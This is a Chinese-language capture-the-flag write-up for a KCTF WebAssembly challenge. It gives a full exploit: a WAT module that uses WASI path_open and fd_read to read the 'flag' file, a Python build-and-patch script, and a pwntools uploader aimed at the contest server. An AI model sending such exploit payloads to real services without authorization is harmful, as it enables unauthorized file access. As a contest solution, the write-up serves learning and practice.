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CTF对抗-[KCTF]第十三题 共存之道 WP

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周杰伦

文章分类 CTF对抗 阅读数 : 351 阅读时长 : 9分钟


【CTF对抗-[KCTF]第十三题 共存之道 WP】此文章归类为：CTF对抗。

前言：
讲真 第一次接触wasm，这个题出的让我有点失望我说实在的，如果是内存利用的话我还能接受，但是打到最后发现只是入门学习而且基本上就是GitHub搬家过来的我只能说出题人 再接再厉吧。
分析:
一般这种题会提供diff，但是没有提供，证明没有大魔改，然后根据官方文档去看API的调用是否被改变。IDA搜索字符串"wasi_snapshot_preview1" 可以发现剩余少的可怜的API，主要有用的如下

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( import "wasi_snapshot_preview1" "fd_read" (func $fd_read (param i32 i32 i32 i32) (result i32)))
     ( import "wasi_snapshot_preview1" "fd_write" (func $fd_write (param i32 i32 i32 i32) (result i32)))
     ( import "wasi_snapshot_preview1" "fd_prestat_get" (func $fd_prestat_get (param i32 i32) (result i32)))
     ( import "wasi_snapshot_preview1" "fd_prestat_dir_name" (func $fd_prestat_dir_name (param i32 i32 i32) (result i32)))
     ( import "wasi_snapshot_preview1" "path_open" (func $path_open (param i32 i32 i32 i32 i32 i64 i64 i32 i32) (result i32)))
     ( import "wasi_snapshot_preview1" "proc_exit" (func $proc_exit (param i32)))

利用ORW直接读取flag，但是你要我在第一次短时间内写出wat文件的格式是很难的啦，直接GitHub搜就完事了。模板连接如下
这里要稍微改下的就是path_open的2个权限标志，把2个3都改成2（fd_rights_base 和fd_rights_inheriting ），
生成wasm的脚本是嫖的

完整EXP如下

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import os
code = '''
;; This sample shows how to read a file using WASM/WASI.
;;
;; Reading a file requires sandbox permissions in WASM. By default, WASM
;; module cannot access the file system, and they require special permissions
;; to be granted from the host. The majority of this code deals with obtaining
;; the "pre-set" directory the host mapped for us, so we can open the file
;; and read it.
;;
;; Eli Bendersky [https://eli.thegreenplace.net]
;; This code is in the public domain.
(module
     (import "wasi_snapshot_preview1" "fd_read" (func $fd_read (param i32 i32 i32 i32) (result i32)))
     (import "wasi_snapshot_preview1" "fd_write" (func $fd_write (param i32 i32 i32 i32) (result i32)))
     (import "wasi_snapshot_preview1" "fd_prestat_get" (func $fd_prestat_get (param i32 i32) (result i32)))
     (import "wasi_snapshot_preview1" "fd_prestat_dir_name" (func $fd_prestat_dir_name (param i32 i32 i32) (result i32)))
     (import "wasi_snapshot_preview1" "path_open" (func $path_open (param i32 i32 i32 i32 i32 i64 i64 i32 i32) (result i32)))
     (import "wasi_snapshot_preview1" "proc_exit" (func $proc_exit (param i32)))
 
     (memory (export "memory") 1)
 
     (func $main (export "_start")
         (local $errno i32)
 
         ;; Call fd_prestat_get to obtain length of dir name at fd=3
         ;; We pass the pointer to $prestat_tag_buf -- the actual length will
         ;; be written to the next word in memory, which is $prestat_dir_name_len
         (local.set $errno
             (call $fd_prestat_get (i32.const 3) (global.get $prestat_tag_buf)))
         (if (i32.ne (local.get $errno) (i32.const 0))
             (then
                 (call $println_number (local.get $errno))
                 (call $die (i32.const 6900) (i32.const 28))))
 
         ;; Call fd_prestat_dir_name to obtain dir name at fd=3, saving it to
         ;; $fd_prestat_dir_name
         (local.set $errno
             (call $fd_prestat_dir_name
                 (i32.const 3)
                 (global.get $prestat_dir_name_buf)
                 (i32.load (global.get $prestat_dir_name_len))))
         (if (i32.ne (local.get $errno) (i32.const 0))
             (then
                 (call $println_number (local.get $errno))
                 (call $die (i32.const 6950) (i32.const 33))))
 
         ;; Sanity checking of the prestat dir: expect it to start with '/'
         ;; (ASCII 47)
         (i32.or
             (i32.lt_u (i32.load (global.get $prestat_dir_name_len)) (i32.const 1))
             (i32.ne (i32.load8_u (global.get $prestat_dir_name_buf)) (i32.const 47)))
         if
             (call $die (i32.const 7025) (i32.const 49))
         end
 
         ;; Open the input file using fd=3 as the base directory.
         ;; This assumes the input file is relative to the base directory.
         ;; The result of this call will be the fd for the opened file in
         ;; $path_open_fd_out
         ;;
         ;; Note: the rights flags are minimal -- only allowing fd_read.
         ;; Previously I tried giving "all" rights, but this didn't work in
         ;; node (though it did in other runtimes). The reason for this may
         ;; be that each fd has its maximal inheriting rights (specified in
         ;; the fdstat.fs_rights_inheriting field), and we can't open a file
         ;; with higher rights than its parents' inheriting field allows.
         (local.set $errno
             (call $path_open
                 (i32.const 3)           ;; fd=3 as base dir
                 (i32.const 0x1)         ;; lookupflags: symlink_follow=1
                 (i32.const 7940)        ;; file name in memory
                 (i32.const 10)          ;; length of file name
                 (i32.const 0x0)         ;; oflags=0
                 (i64.const 2)           ;; fd_rights_base: fd_read rights
                 (i64.const 2)           ;; fd_rights_inheriting: fd_read rights
                 (i32.const 0x0)         ;; fdflags=0
                 (global.get $path_open_fd_out)))
         (if (i32.ne (local.get $errno) (i32.const 0))
             (then
                 (call $println_number (local.get $errno))
                 (call $die (i32.const 7090) (i32.const 37))))
 
         ;; (call $println_number (i32.load (global.get $path_open_fd_out)))
 
         ;; Populat iovecs for fd_read; we create a single vector with a
         ;; buffer length of 128
         (i32.store (global.get $read_iovec) (global.get $read_buf))
         (i32.store (i32.add (global.get $read_iovec) (i32.const 4)) (i32.const 128))
 
         (local.set $errno
             (call $fd_read
                 (i32.load (global.get $path_open_fd_out))
                 (global.get $read_iovec)
                 (i32.const 1)
                 (global.get $fdread_ret)))
         (if (i32.ne (local.get $errno) (i32.const 0))
             (then
                 (call $die (i32.const 7130) (i32.const 29))))
 
         ;; Print out how many bytes were actually read
         (call $println_number (i32.load (global.get $fdread_ret)))
 
         ;; Print "read from file" header
         (call $println (i32.const 7170) (i32.const 17))
 
         ;; ... now print what was actually read; the read buffer was pointed to
         ;; by the fd_read io vector, and use fd_read's "number of bytes read"
         ;; return value for the length.
         (call $println (global.get $read_buf) (global.get $fdread_ret))
     )
 
     ;; println prints a string to stdout using WASI, adding a newline.
     ;; It takes the string's address and length as parameters.
     (func $println (param $strptr i32) (param $len i32)
         ;; Print the string pointed to by $strptr first.
         ;;   fd=1
         ;;   data vector with the pointer and length
         (i32.store (global.get $datavec_addr) (local.get $strptr))
         (i32.store (global.get $datavec_len) (local.get $len))
         (call $fd_write
             (i32.const 1)
             (global.get $datavec_addr)
             (i32.const 1)
             (global.get $fdwrite_ret)
         )
         drop
 
         ;; Print out a newline.
         (i32.store (global.get $datavec_addr) (i32.const 8010))
         (i32.store (global.get $datavec_len) (i32.const 1))
         (call $fd_write
             (i32.const 1)
             (global.get $datavec_addr)
             (i32.const 1)
             (global.get $fdwrite_ret)
         )
         drop
     )
 
     ;; Prints a message (address and len parameters) and exits the process
     ;; with return code 1.
     (func $die (param $strptr i32) (param $len i32)
         (call $println (local.get $strptr) (local.get $len))
         (call $proc_exit (i32.const 1))
     )
 
     ;; println_number prints a number as a string to stdout, adding a newline.
     ;; It takes the number as parameter.
     (func $println_number (param $num i32)
         (local $numtmp i32)
         (local $numlen i32)
         (local $writeidx i32)
         (local $digit i32)
         (local $dchar i32)
 
         ;; Count the number of characters in the output, save it in $numlen.
         (i32.lt_s (local.get $num) (i32.const 10))
         if
             (local.set $numlen (i32.const 1))
         else
             (local.set $numlen (i32.const 0))
             (local.set $numtmp (local.get $num))
             (loop $countloop (block $breakcountloop
                 (i32.eqz (local.get $numtmp))
                 br_if $breakcountloop
 
                 (local.set $numtmp (i32.div_u (local.get $numtmp) (i32.const 10)))
                 (local.set $numlen (i32.add (local.get $numlen) (i32.const 1)))
                 br $countloop
             ))
         end
 
         ;; Now that we know the length of the output, we will start populating
         ;; digits into the buffer. E.g. suppose $numlen is 4:
         ;;
         ;;                     _  _  _  _
         ;;
         ;;                     ^        ^
         ;;  $itoa_out_buf -----|        |---- $writeidx
         ;;
         ;;
         ;; $writeidx starts by pointing to $itoa_out_buf+3 and decrements until
         ;; all the digits are populated.
         (local.set $writeidx
             (i32.sub
                 (i32.add (global.get $itoa_out_buf) (local.get $numlen))
                 (i32.const 1)))
 
         (loop $writeloop (block $breakwriteloop
             ;; digit <- $num % 10
             (local.set $digit (i32.rem_u (local.get $num) (i32.const 10)))
             ;; set the char value from the lookup table of digit chars
             (local.set $dchar (i32.load8_u offset=8000 (local.get $digit)))
 
             ;; mem[writeidx] <- dchar
             (i32.store8 (local.get $writeidx) (local.get $dchar))
 
             ;; num <- num / 10
             (local.set $num (i32.div_u (local.get $num) (i32.const 10)))
 
             ;; If after writing a number we see we wrote to the first index in
             ;; the output buffer, we're done.
             (i32.eq (local.get $writeidx) (global.get $itoa_out_buf))
             br_if $breakwriteloop
 
             (local.set $writeidx (i32.sub (local.get $writeidx) (i32.const 1)))
             br $writeloop
         ))
 
         (call $println
             (global.get $itoa_out_buf)
             (local.get $numlen))
     )
 
     ;;
     ;; Memory mapping and initialization.
     ;;
 
     (data (i32.const 6900) "error: fd_prestat_get failed")
     (data (i32.const 6950) "error: fd_prestat_dir_name failed")
     (data (i32.const 7025) "error: expect first preopened directory to be '/'")
     (data (i32.const 7090) "error: unable to path_open input file")
     (data (i32.const 7130) "error: fd_read failed")
     (data (i32.const 7170) "Read from file:\\n")
 
     ;; These slots are used as parameters for fd_write, and its return value.
     (global $datavec_addr i32 (i32.const 7900))
     (global $datavec_len i32 (i32.const 7904))
     (global $fdwrite_ret i32 (i32.const 7908))
 
     ;; For prestat calls
     (global $prestat_tag_buf i32 (i32.const 7920))
     (global $prestat_dir_name_len i32 (i32.const 7924))
     (global $prestat_dir_name_buf i32 (i32.const 7936))
 
     ;; File name
     (data (i32.const 7940) "flag")
 
     ;; Output buf for path_open to write fd into
     (global $path_open_fd_out i32 (i32.const 7952))
 
     ;; Using some memory for a number-->digit ASCII lookup-table, and then the
     ;; space for writing the result of $itoa.
     (data (i32.const 8000) "0123456789")
     (data (i32.const 8010) "\\n")
     (global $itoa_out_buf i32 (i32.const 8020))
 
     ;; Buffer for fd_read
     (global $read_iovec i32 (i32.const 8100))
     (global $fdread_ret i32 (i32.const 8112))
     (global $read_buf i32 (i32.const 8120))
)
'''
 
lines = code.split( '\n' )
code = ''
for line in lines:
     if '/' not in line:
         code + = line + '\n'
 
 
os.remove( "exp.wat" )
with open ( 'exp.wat' , 'w' ) as f:
     f.write(code)
os.system( 'wat2wasm --enable-all --no-check exp.wat' )
 
with open ( "exp.wasm" , "rb" ) as f:
     wasm_data = f.read()
     wasm_data = wasm_data.replace(b '\xfc\x0c\x00\x00' , b '\xfc\x0c\x01\x01' )
 
with open ( "exp.wasm" , "wb" ) as f:
     f.write(wasm_data)

上传脚本如下

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from pwn import *
context.log_level = 'debug'
# 读取本地的exp.wasm文件
with open ( "exp.wasm" , "rb" ) as wasm_file:
     wasm_data = wasm_file.read()
 
# 将WASM文件数据进行Base64编码
base64_data = base64.b64encode(wasm_data).decode()
 
# 构建要发送的数据字符串
data_to_send = f "{base64_data}"
 
# 连接到服务器并发送数据
with remote( "123.59.196.133" , 10040 ) as r:
     r.send(data_to_send)
 
r.interactive()

总结：
整了那么久 结果发现GitHub现成的，你说你好歹魔改个内存bug出来，我去花时间调试我也不会喷什么，就是失望，就一个ORW。



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